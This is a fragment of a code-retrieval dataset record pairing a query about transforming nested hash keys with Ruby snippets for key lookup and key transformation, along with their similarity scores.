"def [](key)\n dummy = Pair.new(key,nil)\n pair = @tree.get(dummy)\n return nil unless pair\n return pair.value\n end",
"def find(key, current = @root)\n if @root == nil\n return nil\n elsif key == current.key\n return current.value\n elsif key <= current.key\n find(key, current.left)\n else\n find(key, current.right)\n end\n end",
"def fetch(key)\n if key.empty?\n return @value\n end\n child = @children[key.shift]\n if child\n child.fetch(key)\n else\n return nil\n end\n end",
"def [](key)\n current_node = @buckets[index(key, size)].head\n if !current_node\n #raise InvalidKeyError \"Cannot retrieve that item - not instantiated\"\n return nil\n end\n while current_node.key != key\n current_node = current_node.next\n break unless current_node\n end\n\n if !current_node\n #raise InvalidKeyError \"Cannot retrieve that item - not instantiated\"\n return nil\n end\n\n return current_node.value\n end",
"def nested_key(hash, key)\n hash[key] if hash\n end",
"def lookup(key)\n @stack.reverse_each do |level|\n return level[key] if level.has_key?(key)\n end\n nil\n end",
"def find_single_bay(hash,lookup)\n\n for key,value in hash\n\n if value[:item] == lookup\n return key \n end\n \n end\n #If gone all the way throuh the hash, no item\n #found so return nil\n return nil\nend",
"def get(key)\n i = key.hash % @table.size\n node = @table[i]\n while node\n return node.value if key == node.key\n node = node.next\n end\n nil\n end",
"def getValue(hash, key)\n key.to_s.split('.').inject(hash) { |h, k| h[k] unless h.nil? }\n end",
"def search( key, node=@root )\n return nil if node.nil?\n if key < node.key\n search( key, node.left )\n elsif key > node.key\n search( key, node.right )\n else\n return node\n end\n end",
"def get_value(path, hash)\n path.split('.').each do |key|\n hash = hash[key]\n end\n raise if hash.nil?\n\n hash\n rescue\n \"ValueNotFound\"\n end",
"def value_of(key)\n @root.value_of(key)\n end",
"def search key\r\n #start searching from the head (if the head is NULL, get out of the function and return NULL)\r\n node = @head\r\n #while there's still any unsearched node in the list (you haven't reach the end of the list) and the wanted node hasn't been found\r\n while (node != nil) && (node.get_value != key)\r\n #search the wanted node linearly using the next pointer\r\n node = node.get_next_node\r\n #You MUST keep the order of the logical checking or you'll get an error for trying to check the key of NULL\r\n end\r\n #return a pointer to the wanted node (if no node with the key appears in the list, this will return NULL)\r\n return node\r\n end",
"def [](key)\n if @items[index(key, @items.length)] != nil && @items[index(key, @items.length)].key == key\n puts @items.length\n return @items[index(key, @items.length)].value\n else\n puts \"This value does not exist in the hash\"\n end\n end",
"def fetch(key)\n mon_synchronize do\n node = @hash[key]\n break unless node\n\n touch(node)\n node.value\n end\n end",
"def find_helper(current_node, key)\n return if current_node.nil?\n \n if key < current_node.key\n current_node.left = find_helper(current_node.left, key)\n elsif key > current_node.key\n current_node.right = find_helper(current_node.right, key)\n else\n return current_node.value\n end\n \n end",
"def find_value hash\n @values_mapping[hash]\n end",
"def help_find(current, key)\n return nil if current.nil? \n\n if current.key == key \n return current.value \n elsif current.key < key \n current = current.right \n else \n current = current.left \n end \n\n return help_find(current,key)\n end",
"def get key\n\t\t\tif @my_hash.has_key? key\n\t\t\t\tnode = @my_hash[key]\n\t\t\t\t@my_list.promote_node node\n\t\t\t\tnode.value\n\t\t\telse\n\t\t\t\tnil\n\t\t\tend\n\t\tend",
"def value_by_key(hash, key)\n hash[key.to_s] || hash[key.to_sym]\n end",
"def value_from_hash(hash, path)\n value = hash\n\n begin\n path.each do |p|\n value = value[p]\n end\n value\n rescue NoMethodError\n nil\n end\n end",
"def find_single_item(hash,lookup)\n if hash[lookup]==nil\n return nil\n else\n return hash[lookup][:item]\n end\nend",
"def find_helper(current_node, key)\n return nil if current_node.nil?\n return current_node if current_node.value == key\n\n if key < current_node.value\n return find_helper(current_node.left_node, key)\n else\n return find_helper(current_node.right_node, key)\n end\n end",
"def sub_hash(hash, key); end",
"def get(key)\n @hash.get(key)\n end",
"def get(key)\r\n\t\treturn nil if !key\r\n\t\t# Get the hash of our key\r\n\t\tindex = key.hash % @size\r\n\t\t# If location in array is empty then return nil otherwise find the \r\n\t\t# key and return associated value from the list\r\n\t\treturn nil if !@arr[index]\r\n\t\treturn @arr[index].find(key)\r\n\tend",
"def find(key)\n return self if @name == key\n @children.each do |child|\n next unless child.respond_to?(:find)\n match = child.find(key)\n return match unless match.nil?\n end\n nil\n end",
"def select_node(data,key,value)\n data.each_key do |k|\n if data[k].has_key?(key)\n if data[k][key] == value\n return k\n end\n end\n end\nend",
"def get(key)\n slot = key % BUCKET_MOD\n head = @buckets[slot]\n while head\n return head.val if head.key == key\n head = head.next\n end\n -1\n end",
"def hashcode(key)\n hashcode_with_internal_hashes(key).first\n end",
"def get(key)\n @hash[key]\n end",
"def [](key)\n if @items[index(key,size)] != nil\n current = @items[index(key, size)].head #chooses head node\n while current != nil\n if current.key == key\n return current.value\n else\n current = current.next\n end\n end\n end\n end",
"def find_node(key)\n return nil if @root == nil\n node = @root.find_vertical(key)\n (node.nil? || node.value.nil? ? nil : node)\n end",
"def search key, lambda = {}\n node = head\n while node.next_ != nil && node.key != key\n node = node.next_\n end\n node\n end",
"def get(key)\n node = @node_map[key]\n if node\n # clip us out of the chain\n clip_node_from_list(node)\n insert_node_at_head(node)\n node.val\n else\n -1\n end\n end",
"def find_child_with_file_hash(file_hash, node)\n if node['name'] == 'file_hash' && node['value'] == file_hash\n node\n elsif node['children']\n node['children'].detect do |node|\n find_child_with_file_hash file_hash, node\n end\n else\n nil\n end\n end",
"def find(key)\n root = root? key.slice(0)\n [].tap { |a| root and probe(0, root, key[1..-1], a) }\n # generate_result([], key) { |rkey, r| r.first.prepend(rkey) }\n end",
"def value(key)\n @hash[key]\n end",
"def dig(hash, key, *rest)\n value = hash[key]\n if value.nil? || rest.empty?\n value\n elsif value.is_a?(Hash) || value.is_a?(Array)\n dig(value, *rest)\n else\n fail TypeError, \"#{value.class} does not work with #dig\" # should not happen with our use of #dig\n end\n end",
"def get_key_value(key)\n if v = storage.get(key.object_id)\n return key.object_id, v\n end\n storage.get_candidates(key.hash).find do |k,v|\n candidate_key = get_object(k) or next\n candidate_key.eql? key\n end\n end",
"def get(key)\n node = @cache[key]\n return -1 if node.nil?\n move_to_head(node)\n node.value\n end",
"def obtain!(key)\n raise \"Missing key #{key}\" unless @hash.key?(key)\n @hash[key]\n end",
"def find(key)\n if !contains?(key)\n return nil\n end\n\n @semaphore.synchronize {\n @internal_clock += 1\n previous_data = @key_data[key]\n update_access_time_locked(key, @internal_clock, previous_data.access_time)\n\n return previous_data.value\n }\n end",
"def retrieve key\n\t\tnode = traverse @root, key\n\t\tnode.key\n\tend",
"def [](key)\n index = self.index(key, @items.length)\n if !@items[index].nil?\n current = @items[index].head\n until current.nil?\n if current.key === key\n return current.value\n else\n current = current.next\n end\n end\n end\n end",
"def read_key_path(hash, key_path)\n value = hash\n key_path.split('.').each do |key|\n if key =~ /^(\\d+)$/\n key = key.to_i\n if value.length > key\n value = value[key]\n else\n return nil\n end\n else\n if value.key? key\n value = value[key]\n else\n return nil\n end\n end\n end\n value\n end",
"def getValue(key)\r\n \r\n return @aHash[key]\r\n end"
] |
[
"0.70975167",
"0.7043736",
"0.70150083",
"0.6986737",
"0.6805482",
"0.67907053",
"0.6748154",
"0.6737833",
"0.67356384",
"0.6659147",
"0.66122466",
"0.6604083",
"0.6591171",
"0.65721726",
"0.6565527",
"0.6554034",
"0.65409863",
"0.6517451",
"0.65037924",
"0.6502858",
"0.6483733",
"0.6477782",
"0.6469983",
"0.64606667",
"0.64491814",
"0.6437084",
"0.6426034",
"0.6421204",
"0.640907",
"0.6408989",
"0.6396515",
"0.6389632",
"0.63860065",
"0.6382883",
"0.6382883",
"0.6382883",
"0.6382883",
"0.6382883",
"0.636236",
"0.63547844",
"0.6323776",
"0.6323461",
"0.628611",
"0.6281039",
"0.6279286",
"0.6279286",
"0.6260644",
"0.6260644",
"0.62564623",
"0.6253924",
"0.62454784",
"0.6225279",
"0.6214148",
"0.6213954",
"0.62116665",
"0.62096494",
"0.62078315",
"0.61900574",
"0.6136279",
"0.6132728",
"0.6128533",
"0.6123819",
"0.6108359",
"0.6097899",
"0.608758",
"0.605048",
"0.6029217",
"0.60290366",
"0.60214746",
"0.60192424",
"0.6016556",
"0.6010856",
"0.60043013",
"0.59962",
"0.5989472",
"0.59725106",
"0.59588367",
"0.5956253",
"0.59457207",
"0.59307206",
"0.592904",
"0.5907348",
"0.5907215",
"0.58981687",
"0.58877486",
"0.58119315",
"0.5811457",
"0.58015895",
"0.5799089",
"0.5798845",
"0.5797515",
"0.5793091",
"0.5778424",
"0.5777945",
"0.57776767",
"0.576523",
"0.57366663",
"0.5708085",
"0.57077044",
"0.5702761"
] |
0.71257895
|
0
|
Modification to deep_transform_keys that allows for the existence of arrays.
|
def _deep_transform_keys_in_object(object, &block)
case object
when Hash
object.each_with_object({}) do |(key, value), result|
result[yield(key)] = _deep_transform_keys_in_object(value, &block)
end
when Array
object.map { |e| _deep_transform_keys_in_object(e, &block) }
else
object
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deep_transform_keys(&block); end",
"def deep_transform_keys!(&block); end",
"def ensure_keys_are_arrays!(result)\n if result[:startkey] && !result[:startkey].is_a?(Array)\n result[:startkey] = [result[:startkey]] \n end\n if result[:endkey] && !result[:endkey].is_a?(Array)\n result[:endkey] = [result[:endkey]]\n end\n end",
"def deep_transform_keys! &block\n keys.each do |key|\n value = delete(key)\n\n self[yield(key)] = case value\n when Hash\n value.deep_transform_keys!(&block)\n when Array\n value.each{ |e| e.deep_transform_keys!(&block) rescue value }\n else\n value\n end\n end\n self\n end",
"def force_arrays(node, arrays)\n\tif node.is_a?(Hash)\n\t\tnode.each { |k,v|\n\t\t\tforce_arrays(v, arrays)\n\t\t\tif arrays.include?(k) and !v.is_a?(Array)\n\t\t\t\tnode[k] = [v]\n\t\t\tend\n\t\t}\n\telsif node.is_a?(Array)\n\t\tnode.each { |n|\n\t\t\tforce_arrays(n, arrays)\n\t\t}\n\tend\t\t\t\nend",
"def recursively_symbolize_keys!(modify_nested_arrays = false)\n replace recursively_symbolize_keys(modify_nested_arrays)\n end",
"def scalarize_single_valued_arrays()\n return self.map do |k,v|\n v = case\n when v.is_a?(::Array) && v.length == 1 then\n v.first\n when v.is_a?(::Hash) then\n v.scalarize_single_valued_arrays\n else\n v\n end\n [k,v]\n end.to_mash\n end",
"def transform_keys(&block); end",
"def deep_transform_keys(&block)\n _deep_transform_keys_in_object(self, &block)\n end",
"def deep_transform_keys(&block)\n _deep_transform_keys_in_object(self, &block)\n end",
"def transform_keys!(&block); end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def coerce_keys(*attrs); end",
"def parse_keys_dict(type_of_descriptor, keyed_params)\n paths_dict = parse_dict(type_of_descriptor)\n cur_array_id = []\n array_id = []\n cur_bool = true\n keyed_params.each do |key, value|\n keys = key.to_s.split('.')[-1]\n if paths_dict.key? keys.to_sym\n keyed_params.delete((type_of_descriptor.to_s + '.' + keys).to_sym)\n value.class == String ?\n Dict.all.each {|field_of_dict| cur_array_id += field_of_dict[keys][value] unless field_of_dict[keys][value].nil?}:\n Dict.all.each do |field_of_dict|\n field_of_dict.as_document[keys].keys.each do |key_field_dict|\n value.each {|key, value| cur_bool &= compare_objects(key.split('$')[-1], key_field_dict, value)}\n cur_array_id += field_of_dict[keys][key_field_dict] if cur_bool\n cur_bool = true\n end\n end\n end\n array_id = cur_array_id.select{ |e| cur_array_id.count(e) >= keyed_params.length }.uniq\n end\n keyed_params[:'_id'.in] = array_id unless array_id == 1 || array_id.empty?\n keyed_params\n end",
"def symbolize_keys_rec\n if is_a?(Hash)\n inject({}) do |options, (key, value)|\n options[(key.to_sym rescue key) || key] = (value.is_a?(Hash)||value.is_a?(Array)) ? value.symbolize_keys_rec : value\n options\n end\n elsif is_a?(Array)\n inject([]) do |options, value|\n options << ((value.is_a?(Hash)||value.is_a?(Array)) ? value.symbolize_keys_rec : value)\n options\n end\n else\n raise Exception.new(\"Can't do that!\")\n end\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def deep_transform_keys!(&block)\n @parameters.deep_transform_keys!(&block)\n self\n end",
"def deep_transform_keys!(&block)\n _deep_transform_keys_in_object!(self, &block)\n end",
"def expanded_key(key) # :nodoc:\n return validate_key(key.cache_key.to_s) if key.respond_to?(:cache_key)\n\n case key\n when Array\n if key.size > 1\n key = key.collect{|element| expanded_key(element)}\n else\n key = key.first\n end\n when Hash\n key = key.sort_by { |k,_| k.to_s }.collect{|k,v| \"#{k}=#{v}\"}\n end\n\n validate_key(key.respond_to?(:to_param) ? key.to_param : key)\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!{ |key| key.to_s }\n end",
"def transform_keys\n { a: 1, b: 2 }.transform_keys { |key| key_map[key] || key }\n end",
"def replace_with_flat_array(array)\n begin\n array = vash_validate_flat_array(array)\n rescue Puppet::Util::PTomulik::Vash::VashArgumentError => err\n raise err.class, err.to_s\n end\n hash = Hash[*array]\n self.class.superclass.instance_method(:replace).bind(self).call(hash)\n self\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def deep_stringify_keys!\n deep_transform_keys!(&:to_s)\n end",
"def arrays_to_hashes\n end",
"def deep_stringify_keys!\n deep_transform_keys! { |key| key.to_s }\n end",
"def normalize_flat_keys(locale, key, scope, separator); end",
"def normalize_flat_keys(locale, key, scope, separator); end",
"def recursively_transform_keys(&block)\n _recursively_transform_keys_in_object(self, &block)\n end",
"def munge_keys d\n\t\t\t\tif d.kind_of? Array\n\t\t\t\t\td.each do |o|\n\n\t\t\t\t\t\tnext if explicit_keys(o) && explicit_customer_key(o)\n\n\t\t\t\t\t\tformatted = []\n\t\t\t\t\t\to['CustomerKey'] = customer_key unless explicit_customer_key o\n\t\t\t\t\t\tunless explicit_properties(o)\n\t\t\t\t\t\t\to.each do |k, v|\n\t\t\t\t\t\t\t\tnext if k == 'CustomerKey'\n\t\t\t\t\t\t\t\tformatted.concat FuelSDK.format_name_value_pairs k => v\n\t\t\t\t\t\t\t\to.delete k\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\to['Keys'] = {'Key' => formatted }\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tformatted = []\n\t\t\t\t\td.each do |k, v|\n\t\t\t\t\t\tnext if k == 'CustomerKey'\n\t\t\t\t\t\tformatted.concat FuelSDK.format_name_value_pairs k => v\n\t\t\t\t\t\td.delete k\n\t\t\t\t\tend\n\t\t\t\t\td['CustomerKey'] = customer_key\n\t\t\t\t\td['Keys'] = {'Key' => formatted }\n\t\t\t\tend\n\t\t\tend",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys!{ |key| key.to_sym rescue key }\n end",
"def deep_transform_keys!(object, &block)\n case object\n when Hash\n keys = object.keys\n keys.each do |key|\n value = object.delete(key)\n object[yield(key)] = deep_transform_keys!(value, &block)\n end\n object\n when Array\n object.map! { |e| deep_transform_keys!(e, &block) }\n else\n object\n end\n end",
"def replace_with_flat_array(array)\n begin\n array = vash_validate_flat_array(array)\n rescue Puppet::Util::PTomulik::Vash::VashArgumentError => err\n raise err.class, err.to_s\n end\n hash = Hash[*array]\n # On 1.8 using 'super' breaks rspec tests :(.\n self.class.superclass.instance_method(:replace).bind(self).call(hash)\n self\n end",
"def keys_flat(body)\n if body.class == Hash\n arr = []\n body.each do |key, value|\n arr << \"#{keys_flat key}=>#{keys_flat value}\"\n end\n body = arr\n end\n if body.class == Array\n str = ''\n body.map! do |value|\n keys_flat value\n end.sort!.each do |value|\n str << value\n end\n end\n if body.class != String\n body = body.to_s << body.class.to_s\n end\n body\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def deep_symbolize_keys!\n deep_transform_keys! { |key| key.to_sym rescue key }\n end",
"def stringified_keys; end",
"def dd_map\n map { |el| el.is_a?(Array) ? dd_map(el) : el }\nend",
"def deep_convert_keys(&key_conversion_block)\n if (block_given?)\n result={}\n self.each_pair do |k, v|\n case v\n when String, Fixnum then\n result[yield(k)]=v\n when Hash then\n result[yield(k)]=v.deep_convert_keys(&key_conversion_block)\n when Array then\n result[yield(k)]=v.collect { |a| a.deep_convert_keys(&key_conversion_block) }\n when NilClass then\n result[yield(k)]=\"NIL\"\n else\n raise ArgumentError, \"Unhandled type #{v.class}\"\n end\n end\n return result\n end\n return self # return self if no key conversion block was given to this method\n end",
"def recursive_hash_normalize_keys val\n if val.is_a? Hash\n deep_hash_normalize val\n else\n val\n end\n end",
"def deep_stringify_keys\n deep_transform_keys { |key| key.to_s }\n end",
"def coerce_key(*attrs); end",
"def stringify_keys_recursively!(object); end",
"def key_coercion(key); end",
"def deep_symbolize_keys\n deep_transform_keys{ |key| key.to_sym rescue key }\n end",
"def transform_keys(type)\n @_transform_keys = type.to_sym\n end",
"def post_key_check(key)\n if scan(/\\[\\]/) # a[b][] indicates that b is an array\n container(key, Array)\n nil\n elsif check(/\\[[^\\]]/) # a[b] indicates that a is a hash\n container(key, Hash)\n nil\n else # End of key? We do nothing.\n key\n end\n end",
"def expand_key( key )\n ek = case key\n when Array\n key\n when /\\./\n key.split(\".\")\n else\n [ key ]\n end\n ek.select { |k| k.to_s.strip.length > 0 }\n end",
"def dasherize_keys(data)\n return nil if data.nil?\n return data.map { |obj| dasherize_keys obj } if data.is_a? Array\n if data.is_a? Hash\n return Hash[data.map {|k, v| [k.to_s.dasherize, dasherize_keys(v)] }]\n end\n return data\n end",
"def key_coercions; end",
"def prepared_statement_key_array(keys)\n if dataset.requires_placeholder_type_specifiers?\n sch = db_schema\n Array(keys).map do |k|\n if (s = sch[k]) && (t = s[:type])\n [k, :\"$#{k}__#{t}\"]\n else\n [k, :\"$#{k}\"]\n end\n end\n else\n Array(keys).map{|k| [k, :\"$#{k}\"]}\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object(self.class.new) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def flatmap(h, e, prefix = '')\n e.each do |k,v|\n if k == 'repo'\n k = 'repository'\n end\n if v.is_a?(Hash)\n flatmap(h, v, prefix+k+\"_\")\n else\n key = prefix+k\n\n next if !@keys.include? key\n\n case v\n when TrueClass then h[key] = 1\n when FalseClass then h[key] = 0\n else\n next if v.nil?\n h[key] = v unless v.is_a? Array\n end\n end\n end\n h\nend",
"def converted_arrays; end",
"def inflate_functional_fields(data, original_key_order)\n output = []\n data.each do |row|\n output_row = {}\n\n processed_keys = []\n original_key_order.each do |original_key|\n if %w[ec go ipr].include? original_key\n # First, we take all distinct keys that start with \"ec\", \"go\" or \"ipr\"\n annotation_keys = row.keys.select { |key| key.start_with? original_key }\n processed_keys += annotation_keys\n unless annotation_keys.empty?\n # Each of the values of the annotation_keys is an array. All respective values of each of\n # these arrays need to be put together into one hash. (E.g. {a => [1, 2], b=> [x, y]} --> [{a: 1, b: x}, {a: 2, b: y}])\n reconstructed_objects = []\n (0..row[annotation_keys[0]].length).each do |i|\n reconstructed_object = {}\n annotation_keys.each do |annotation_key|\n reconstructed_object[%w[ec_number go_term ipr_code].include?(annotation_key) ? annotation_key : annotation_key[annotation_key.index('_') + 1, annotation_key.length]] = row[annotation_key][i]\n end\n reconstructed_objects << reconstructed_object\n end\n output_row[original_key] = reconstructed_objects\n end\n elsif row.key? original_key\n output_row[original_key] = row[original_key]\n end\n end\n\n output << output_row\n end\n output\n end",
"def map_value(key, value)\n case value\n when Array\n value.map { |v| map_value(nil, v) }\n when Hash\n return custom_deep_symbolic_hash(value) unless is_a_custom_key?(key)\n map_value(nil, array_from_mess(value))\n else\n value\n end\n end",
"def deep_symbolize_keys\n deep_transform_keys { |key| key.to_sym rescue key }\n end",
"def underscore_keys input\n case input\n when Hash\n input.to_h { |key, value| [ActiveSupport::Inflector.underscore(key), underscore_keys(value)] }\n when Array\n input.map { |elem| underscore_keys elem }\n else\n input\n end\n end",
"def child_keys() []; end",
"def from_keys\n end",
"def _deep_transform_keys_in_object(object, &block)\n if object.class <= ::Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n elsif object.class <= ::Array\n object.map {|e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map {|e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def expanded_key(key)\n return key.cache_key.to_s if key.respond_to?(:cache_key)\n\n case key\n when Array\n if key.size > 1\n key.collect { |element| expanded_key(element) }\n else\n expanded_key(key.first)\n end\n when Hash\n key.collect { |k, v| \"#{k}=#{v}\" }.sort!\n else\n key\n end.to_param\n end",
"def deeply_stringify_keys(obj)\n deep_key_stringifier.call( obj )\n end",
"def array_keys_to_hash_value(data, keys)\n tmp_data = data\n keys.each do |key|\n tmp_data = tmp_data[key]\n end\n tmp_data\n end",
"def deep_transform_keys!(hash, &block)\n _deep_transform_keys_in_object!(hash, &block)\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object(self.class.new) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def deep_underscore_keys\n deep_transform_keys { |key| key.to_s.underscore }\n end",
"def transform_hash_for_quest_back(hash, transform_keys = false)\n Hash[\n hash.map do |key, value|\n if key == :order!\n # Key was :order! - it has special meaning: The symbols within it's array are used to\n # dictate order of elements. If transform_keys is false we are on \"root keys\". These are\n # keept as symbols and Savon does it's magic and we'll do nothing. If it is true it means that keys\n # on this level is put to camelcase and the values in the :order! array must match this.\n if transform_keys\n value = value.map { |v| v.to_s.camelcase }\n end\n else\n key = transform_keys ? key.to_s.camelcase : key\n\n # Oh my god this is quick, dirty and mega hackish!\n # Type element in the RespondentDataHeader must be in namespace enum.\n key = \"enum:Type\" if key == \"Type\"\n\n # In some cases we would like to transform values as well as the key\n value = case value\n when Hash\n # Keep on transforming recursively..\n transform_hash_for_quest_back value, true\n when Array\n if value.all? { |v| v.is_a? String }\n # Put it in a structure QuestBack likes..\n {'array:string' => value}\n elsif value.all? { |v| v.is_a? Hash }\n # Keep on transforming recursively..\n value.map { |hash| transform_hash_for_quest_back(hash, true) }\n end\n else\n # We don't know anything better - just let value fall through\n value\n end\n end\n\n [key, value]\n end\n ]\n end",
"def sanitize_keys(value)\n if value.is_a?(Hash)\n value.map { |k, v|\n k = k.to_s.downcase.tr('^a-z0-9_', '_').to_sym\n v = sanitize_keys(v)\n [k, v]\n }.to_h\n elsif value.is_a?(Array) && (value.size > 1)\n value.map { |v| sanitize_keys(v) }\n elsif value.is_a?(Array)\n sanitize_keys(value.first)\n elsif value.is_a?(String) && value.include?(FileFormat::FILE_FORMAT_SEP)\n value.split(FileFormat::FILE_FORMAT_SEP).compact_blank\n else\n value\n end\n end",
"def deep_stringify_keys!(hash)\n deep_transform_keys!(hash){ |key| key.to_s }\n end",
"def transform(source)\n results = {}\n schema = config.get(:schema)\n exceptions = schema[:exceptions]\n # tranform source data\n source.each_key do |key|\n # sanitise key name\n clone_key = sanitise_string(key, config.get(:snake_case_keys))\n # fetch original key value\n clone_value = source.fetch(key)\n # ignore unsupported schema references\n next if exceptions.include?(clone_key)\n # symbolise array values or pass cloned object through\n item = is_array_of_strings(clone_value) ?\n normalise_array_value(clone_value) :\n clone_value\n # create and assign result\n results[clone_key] = item.is_a?(Hash) ?\n # continue recursion\n transform(item) :\n # store item\n item\n end\n results\n end",
"def _deep_transform_keys_in_object!(object, &block)\n case object\n when Hash\n object.keys.each do |key|\n value = object.delete(key)\n object[yield(key)] = _deep_transform_keys_in_object!(value, &block)\n end\n object\n when Array\n object.map! {|e| _deep_transform_keys_in_object!(e, &block)}\n else\n object\n end\n end",
"def values_at(*keys)\n super(*keys.map(&method(:convert_key)))\n end",
"def deconstruct_keys(keys)\n if @base_object.respond_to?(:deconstruct_keys)\n @base_object\n .deconstruct_keys(keys)\n .transform_values!(&NEW_DIVE)\n else\n keys.to_h { |k| @base_object.public_send(k).then { |v| [k, NEW_DIVE[v]] } }\n end\n end",
"def flattened_keys_for(params)\n params.map do |p|\n if p.is_a?(Hash)\n p.keys\n else\n p\n end\n end.flatten\n end",
"def keys(key)\n Array(@nesting) + Array(key)\n end",
"def transform_keys(&block)\n @key_transformer = block\n end",
"def _deep_transform_keys_in_object!(object, &block)\n case object\n when Hash\n object.keys.each do |key|\n value = object.delete(key)\n object[yield(key)] = _deep_transform_keys_in_object!(value, &block)\n end\n object\n when Array\n object.map! { |e| _deep_transform_keys_in_object!(e, &block) }\n else\n object\n end\n end",
"def key_coercions=(_arg0); end",
"def pluralized_array_from_hash(hash, singular_key, plural_key); end",
"def array(key)\n ret = []\n return ret unless obj = value?(key)\n\n if obj.kind_of?(Array)\n ret = obj.map { |el| reify_if_hash(el) }\n elsif obj.kind_of?(Hash)\n # if value is a hash then just return values part plus key becomes display_name\n ret = obj.map { |(k,v)| reify_if_hash(v, added_values: { 'display_name' => k }) }\n end\n ret\n end",
"def deep_transform_hash_keys(subject, output_key_strategy, options = {})\n if subject.is_a?(Hash)\n subject.inject({}) do |memo, (key, value)|\n new_key = send(output_key_strategy, key, options).to_sym\n memo[new_key] = deep_transform_hash_keys(value, output_key_strategy, options)\n memo\n end\n elsif subject.is_a?(Array)\n subject.inject([]) do |memo, item|\n memo << deep_transform_hash_keys(item, output_key_strategy, options)\n memo\n end\n else\n # not a hash or array - do nothing\n subject\n end\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def transform_keys!\n return enum_for(:transform_keys!) { size } unless block_given?\n keys.each do |key|\n self[yield(key)] = delete(key)\n end\n self\n end",
"def helper(array)\n nest_it = {}\n\n array.each do |k_v_p|\n hashy = {}\n keys_array = parse_key(k_v_p.first)\n value = k_v_p.last\n\n hashy = hashify(keys_array, value) || {}\n nest_it = nest_it.deep_merge(hashy)\n\n end\n\n nest_it\n end",
"def symbolize_keys_of_hashs!(array_of_hashs)\n array_of_hashs.collect!{|hash| symbolize_keys(hash)}\n end",
"def normalize_array_of_columns(arry)\n arry.map do |f| \n if f.is_a?(Hash)\n f.symbolize_keys\n else\n f.to_sym\n end\n end\n end",
"def symbolize_keys_recursively!(object); end",
"def recursively_stringify_key\n recursively_transform_keys { |key| key.to_s rescue key }\n end",
"def _deep_transform_keys_in_object(object, &block)\n case object\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result[yield(key)] = _deep_transform_keys_in_object(value, &block)\n end\n when Array\n object.map { |e| _deep_transform_keys_in_object(e, &block) }\n else\n object\n end\n end",
"def associated_key_array\n cached_fetch(:associated_key_array) do\n if self[:uses_left_composite_keys]\n associated_key_alias.zip(predicate_keys).map{|a, k| SQL::AliasedExpression.new(k, a)}\n else\n [SQL::AliasedExpression.new(predicate_key, associated_key_alias)]\n end\n end\n end"
] |
[
"0.69917476",
"0.68667346",
"0.65220803",
"0.64828104",
"0.62346137",
"0.6214888",
"0.60685915",
"0.60174716",
"0.6002079",
"0.6002079",
"0.5975081",
"0.5874423",
"0.5874423",
"0.5874423",
"0.5874423",
"0.5810823",
"0.58036363",
"0.5742876",
"0.57329255",
"0.571946",
"0.5716624",
"0.57157546",
"0.5706326",
"0.5699443",
"0.5694258",
"0.56563467",
"0.56556696",
"0.56556696",
"0.5650935",
"0.56434786",
"0.5633272",
"0.5633272",
"0.55905443",
"0.55839944",
"0.555665",
"0.5556303",
"0.5554032",
"0.5554032",
"0.5552498",
"0.5540057",
"0.5533512",
"0.55099124",
"0.55099124",
"0.55099124",
"0.55072945",
"0.54754543",
"0.5472046",
"0.54618084",
"0.5443077",
"0.5427377",
"0.5419562",
"0.54176193",
"0.54106975",
"0.5407869",
"0.53894305",
"0.5384489",
"0.53724545",
"0.5364869",
"0.5345656",
"0.53268015",
"0.53040224",
"0.5302425",
"0.52987576",
"0.5295102",
"0.5294745",
"0.52817935",
"0.52799964",
"0.5270278",
"0.52473986",
"0.5244819",
"0.5244082",
"0.52310556",
"0.5225868",
"0.5224285",
"0.5220806",
"0.5207158",
"0.52011883",
"0.51958406",
"0.5190764",
"0.51847214",
"0.5182935",
"0.517384",
"0.517372",
"0.51655143",
"0.51629907",
"0.5155338",
"0.51507485",
"0.5149614",
"0.51487386",
"0.51412815",
"0.5140407",
"0.5139661",
"0.5139661",
"0.5139661",
"0.51375544",
"0.513732",
"0.51255685",
"0.5120934",
"0.51161474",
"0.51067054",
"0.5100865"
] |
0.0
|
-1
|
